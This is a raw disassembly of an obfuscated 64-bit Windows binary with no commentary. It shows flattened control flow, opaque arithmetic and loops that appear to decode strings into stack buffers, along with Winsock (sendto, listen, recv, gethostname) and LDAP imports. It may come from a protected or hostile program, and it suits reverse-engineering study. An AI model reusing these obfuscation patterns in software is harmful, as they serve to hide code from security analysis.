lea rax, [r8 + 0x40]
cmp r9, rax
je 0x140084a78
lea rax, [r8 + 0x20]
cmp r9, rax
je 0x140084a40
lea rax, [r8 + 0xa]
cmp r9, rax
je 0x140084a0b
lea rax, [r8 + 0x80]
cmp r9, rax
je 0x1400849e7
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x1400849bf
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x14008498a
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x1400844c0
lea r9, [r8 + 1]
lea r8, [r9 + 0x200]
lea rax, [r8 + 9]
cmp r9, rax
jb 0x1400851d4
lea rax, [r8 + 6]
cmp r9, rax
jb 0x1400851b0
lea rax, [r8 + 4]
cmp r9, rax
jb 0x140084692
lea rax, [r8 + 2]
cmp r9, rax
jb 0x140084673
lea rax, [r8 + 0xa]
cmp r9, rax
jb 0x140084654
lea rax, [r8 + 8]
cmp r9, rax
jb 0x140084928
lea rax, [r8 + 5]
cmp r9, rax
jb 0x1400848c7
lea rax, [r8 + 3]
cmp r9, rax
jb 0x140084874
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x140084845
lea r9, [r8 + 0x5a]
lea r8, [r9 + 6]
lea rax, [r8 + 0x7a]
cmp r9, rax
ja 0x140084810
lea rax, [r8 + 0x1000]
cmp r9, rax
ja 0x1400847e8
lea rax, [r8 + 0x3e8]
cmp r9, rax
ja 0x1400847c4
lea rax, [r8 + 0x2a]
cmp r9, rax
ja 0x14008478f
lea rax, [r8 + 0x41]
cmp r9, rax
ja 0x140084757
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x140084733
lea rax, [r8 + 3]
cmp r9, rax
ja 0x140084708
lea rax, [r8 + 1]
cmp r9, rax
ja 0x1400846d6
lea rax, [r8 + 0x5a]
cmp r9, rax
ja 0x1400846b0
lea r9, [r8 + 0x40]
lea r8, [r9 + 4]
jmp 0x1400844c0
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x33
add r10b, dl
jmp 0x1400844b2
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x41
add r10b, dl
jmp 0x140084440
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add dl, 0x4f
add r10b, dl
jmp 0x1400843b5
movabs rdx, 0x4a87180616b1d0a8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140084fc3
movabs rdx, 0x38b94b0aece2ca6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r8
dec rbx
inc rbx
jmp 0x1400843a2
movabs rcx, 0xbc90115b46ea88a4
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7c
dec rbx
inc rbx
jmp 0x1400843a2
movabs rcx, 0x75948e05df06e4a2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6e
jmp 0x14008506f
movabs rcx, 0x2e990ab0772340a0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
add r9, r8
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400843a2
movabs rcx, 0xe79d875b0f3f9c9e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x52
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400843a2
movabs rcx, 0xa0a20405a75bf89c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x44
jmp 0x1400850ff
movabs rdx, 0x59a680b03f78549a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x36
add r10b, dl
jmp 0x140085132
movabs rcx, 0x12aafd5ad794b098
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x28
movzx eax, byte [rbp + rbx + 0xdc0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400843a2
movabs rcx, 0xe136350553db9693
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 5
mov byte [rbp + rbx + 0xdc0], r10b
inc rbx
jmp 0x1400843a2
movabs rdx, 0x9a3ab1afebf7f291
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 9
add r10b, dl
cmp r8, 0xa
jb 0x140084864
movabs rdx, 0x241b2a03b259ac66
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x140084fc6
movabs rdx, 0x533f2e5a84144e8f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x17
add r10b, dl
cmp r9, 0x1000
jae 0x140084e83
lea rax, [r8 + 2]
cmp r9, rax
jbe 0x140084cd8
movabs rcx, 0x5e4808ada3754452
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3e
jmp 0x140084897
movabs rdx, 0xc43ab051c30aa8d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x25
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x7a
je 0x140084eb4
lea rax, [r8 + 0x40]
cmp r9, rax
jbe 0x140084bfe
movabs rcx, 0xf4f725ace09f0a3d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x55
jmp 0x1400848ea
movabs rcx, 0x77e5520491055c7e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x72
movzx eax, byte [rbp + rbx + 0xdc0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400843a2
movabs rdx, 0x30e9ceaf2921b87c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x64
add r10b, dl
jmp 0x140085132
movabs rcx, 0xe9ee4b59c13e147a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x56
jmp 0x1400850ff
movabs rcx, 0xa2f2c804595a7078
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x48
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400843a2
movabs rcx, 0x5bf744aef176cc76
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3a
add r9, r8
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400843a2
movabs rdx, 0x14fbc15989932874
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2c
add r10b, dl
jmp 0x14008506f
movabs rcx, 0xce003e0421af8472
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1e
dec rbx
inc rbx
jmp 0x1400843a2
movabs rcx, 0x8704baaeb9cbe070
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x10
inc r8
dec rbx
inc rbx
jmp 0x1400843a2
movabs rdx, 0x4009375951e83c6e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 2
jmp 0x140084fc3
lea rax, [r8 + 6]
cmp r9, rax
jae 0x140084b46
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 7
jmp 0x140084948
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140084b88
movabs rcx, 0xd2a1c60185ac742a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x26
movzx eax, byte [rbp + rbx + 0xdc0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400843a2
lea rax, [r8 + 2]
cmp r9, rax
jne 0x140084bbd
movabs rdx, 0x6098ccac5573bc2e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x42
add r10b, dl
jmp 0x1400850ff
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14008494b
movabs rcx, 0xa7945001bd576030
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400843a2
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140084c30
movabs rdx, 0x3bf2a9024882ae3f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x47
jmp 0x140084fc3
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140084c67
movabs rcx, 0xc9e9afad1849f643
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2b
dec rbx
inc rbx
jmp 0x1400843a2
lea rax, [r8 + 5]
cmp r9, rax
jne 0x140084ca7
movabs rcx, 0x9edc39ad4ff4e249
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
inc r10b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400843a2
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400848ea
movabs rcx, 0xe5d7bd02b7d8864b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xd
jmp 0x1400850ff
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140084d1a
movabs rcx, 0xa5438c030b58e854
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4c
movzx eax, byte [rbp + rbx + 0xdc0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400843a2
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140084d4b
movabs rcx, 0x333a92addb203058
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
jmp 0x1400850ff
lea rax, [r8 + 4]
cmp r9, rax
jne 0x140084d8c
movabs rcx, 0x7a3616034303d45a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x76
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400843a2
lea rax, [r8 + 2]
cmp r9, rax
jne 0x140084dd5
movabs rdx, 0xc1319958aae7785c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r9, r8
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400843a2
lea rax, [r8 + 7]
cmp r9, rax
jne 0x140084e11
movabs rdx, 0x4f28a0037aaec060
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x1400843a2
lea rax, [r8 + 5]
cmp r9, rax
jne 0x140084e50
movabs rdx, 0x96242358e2926462
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r8
dec rbx
inc rbx
jmp 0x1400843a2
lea rax, [r8 + 6]
cmp r9, rax
jne 0x140084897
movabs rdx, 0xdd1fa6ae4a760864
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140084fc3
movabs rdx, 0x6b16ad591a3d5068
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0xdc0]
add r10b, r11b
add r10b, dl
jmp 0x14008506f
movabs rdx, 0xb21230ae8220f46a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0xdc0]
add r10b, dl
add r10b, r11b
jmp 0x1400850ff
movabs rdx, 0xa12cfdac01f35a25
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 3
add r10b, dl
jmp 0x140085132
movabs rcx, 0x1335f701322c1221
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x19
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400843a2
movabs rcx, 0xcc3a73abca486e1f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x27
add r9, r8
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400843a2
movabs rcx, 0x3e436d00fa81261b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x43
dec rbx
inc rbx
jmp 0x1400843a2
movabs rdx, 0xb04c66562ab9de17
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x5f
add r10b, dl
movabs rcx, 0xc798ebae664b7e67
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x2f
add cl, r11b
mov byte [rbp + rbx + 0xdc0], cl
inc r8
dec rbx
inc rbx
jmp 0x1400843a2
movabs rcx, 0xdb59dc55f30ef211
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x77
inc r8
dec rbx
inc rbx
jmp 0x1400843a2
movabs rcx, 0x945e59008b2b4e0f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x69
dec rbx
inc rbx
jmp 0x1400843a2
movabs rcx, 0x4d62d5ab2347aa0d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5b
movabs rcx, 0xe946f03ce2f2269
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x21
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0xdc0], cl
add r9, r8
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400843a2
movabs rcx, 0xbf6bcf0053806209
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x3f
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400843a2
mov r11, rdx
movabs rax, 0x78704baaeb9cbe07
add rax, rbx
and dl, al
add dl, dl
sub al, dl
lea r10d, [r11 + rax]
sub r10b, 0x31
movabs rdx, 0x558ff2593612c66b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x13
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xdc0], al
inc r8
add rax, r8
sub rbx, rax
movabs rdx, 0xf90db403ea04986c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xdc0], cl
inc r9
mov rax, r12
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0xdc0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400843a2
movabs rcx, 0xea7945001bd57603
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x15
movzx eax, byte [rbp + rbx + 0xdc0]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400843a2
movabs rcx, 0xf0559daf7ca21a85
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5d
jmp 0x1400843a0
movabs rcx, 0xa95a1a5a14be7683
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x6b
jmp 0x140084390
lea r14, [rbp + 0x179266c]
jmp 0x140085218
lea r14, [rbp + 0x12af86d]
jmp 0x140085218
lea r14, [rbp + 0xdc0]
lea rdx, [0x14022a100]
lea rcx, [rbp + 0x628]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 8]
mov rcx, qword [0x140230160]
call fcn.14006c820
mov rsi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rsi + 0x38], 0
jne 0x1400a4062
mov byte [rbp + 0xde8], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0xde9], Ordinal_45
mov byte [rbp + 0xdea], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xdeb], Ordinal_45
mov byte [rbp + 0xdec], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xded], Ordinal_45
mov byte [rbp + 0xdee], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xdef], reloc.WS2_32.dll_select
mov byte [rbp + 0xdf0], 0xa8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xdf1], xmm0
mov qword [rbp + 0xe01], rax
mov word [rbp + 0xe09], ax
movabs r15, 0x9735ac98831d8de8
movabs r13, 0xabe95e09ddc39f18
movzx r11d, byte [rsp + 0x40]
nop
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
movabs rcx, 0xeed1cb4437016848
cmp rdi, 0x23
jae 0x1400860a4
movzx ebx, byte [rbp + rdi + 0xde8]
mov r10, rbx
cmp r8, rdi
ja 0x140086098
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140085333
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 8
jmp 0x140085370
je 0x140086002
lea rax, [r9 + 3]
cmp r8, rax
je 0x140085f61
lea rax, [r9 + 4]
cmp r8, rax
je 0x140085f26
lea rax, [r9 + 6]
cmp r8, rax
je 0x140085ed5
lea rax, [r9 + 2]
cmp r8, rax
je 0x140085e83
nop dword [rax]
cmp r9, rdi
ja 0x14008608c
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x1400853a4
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x58
add r11b, dl
jmp 0x1400853f0
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x140085e60
lea rax, [r9 + 3]
cmp r8, rax
je 0x140085e37
lea rax, [rcx + 1]
cmp r8, rax
je 0x140085e10
lea rax, [r9 + 5]
cmp r8, rax
je 0x140085ded
lea rax, [r9 + 6]
cmp r8, rax
je 0x140085dc8
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14008598c
nop dword [rax]
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140085964
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140085938
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14008590f
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400858e8
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400858c5
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140085892
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14008586b
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140085848
lea r8, [r9 + 0x200]
lea r9, [r8 + 0x80]
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140086064
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14008603c
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400855ba
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140085592
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x140085573
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400857e6
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14008577f
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14008572f
lea r8, [r9 + 0x28]
lea r9, [r8 + 2]
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400856fb
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400856d4
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400856b1
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14008567e
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14008565f
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14008564b
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14008561d
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400855ec
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x7a]
jmp 0x140085400
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400853f0
movabs rdx, 0xce45c7816fc0ce88
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140085370
movabs rdx, 0xf0a230f901bdfdf8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rcx, 0xeed1cb4437016848
jmp 0x1400852fe
movabs rdx, 0xdc09ce3baae99eb0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x1400852e2
movabs rdx, 0xfe6637b33ce6ce20
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x1400852e2
movabs rdx, 0x20c2a12acee3fd90
mov ecx, 8
jmp 0x140085ee4
movabs rcx, 0x431f0aa260e12d00
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
jmp 0x140085f49
movabs rcx, 0x657b7419f2de5c70
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x10
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400852e2
movabs rcx, 0x87d7dd9184db8be0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x140085f88
movabs rdx, 0xaa34470916d8bb50
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x30
add r11b, dl
jmp 0x140085fba
movabs rcx, 0xcc90b080a8d5eac0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
movzx eax, byte [rbp + rdi + 0xde8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400852e2
movabs rcx, 0x44d421a327cc10c8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
cmp r9, 0x28
jb 0x140085d5e
movabs rdx, 0x2796fd2dea8f8cb0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x140085ea1
movabs rdx, 0x67308b1ab9c94038
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r8, 0x200
jae 0x140085d6e
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x140085bde
movabs rdx, 0x7f331bd99e736710
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x70
add r11b, dl
jmp 0x14008574d
movabs rdx, 0x898cf4924bc66fa8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 6
je 0x140085d98
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x140085aa2
movabs rdx, 0xe7fd6f411b55d928
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x18
jmp 0x14008579f
movabs rcx, 0xad9e750aa4ae82e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x140085fba
movabs rdx, 0xcffade8236abb250
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x30
add r11b, dl
jmp 0x140085f88
movabs rcx, 0xf25747f9c8a8e1c0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400852e2
movabs rcx, 0x14b3b1715aa61130
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x50
jmp 0x140085f49
movabs rdx, 0x37101ae8eca340a0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x60
add r11b, dl
jmp 0x140085ef8
movabs rcx, 0x596c84607ea07010
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x70
dec rdi
inc rdi
jmp 0x1400852e2
movabs rcx, 0x7bc8edd8109d9f80
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
inc r9
dec rdi
inc rdi
jmp 0x1400852e2
movabs rdx, 0x9e25574fa29acef0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140085ea1
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x1400859c1
movabs rdx, 0xeed1cb4437016848
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140085809
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140085a07
movabs rdx, 0x2e6b5931063b1bd0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xde8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400852e2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140085a3c
movabs rdx, 0xe9b28641e240bcf0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140085f88
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140085a6c
movabs rcx, 0xa4f9b352be465e10
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x70
jmp 0x140085f49
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140085809
movabs rcx, 0x6040e0639a4bff30
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x50
dec rdi
inc rdi
jmp 0x1400852e2
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140085ad6
movabs rdx, 0xc5a105c98958a9b8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 8
add r11b, dl
jmp 0x140085ea1
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140085b11
movabs rdx, 0x80e832da655e4ad8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
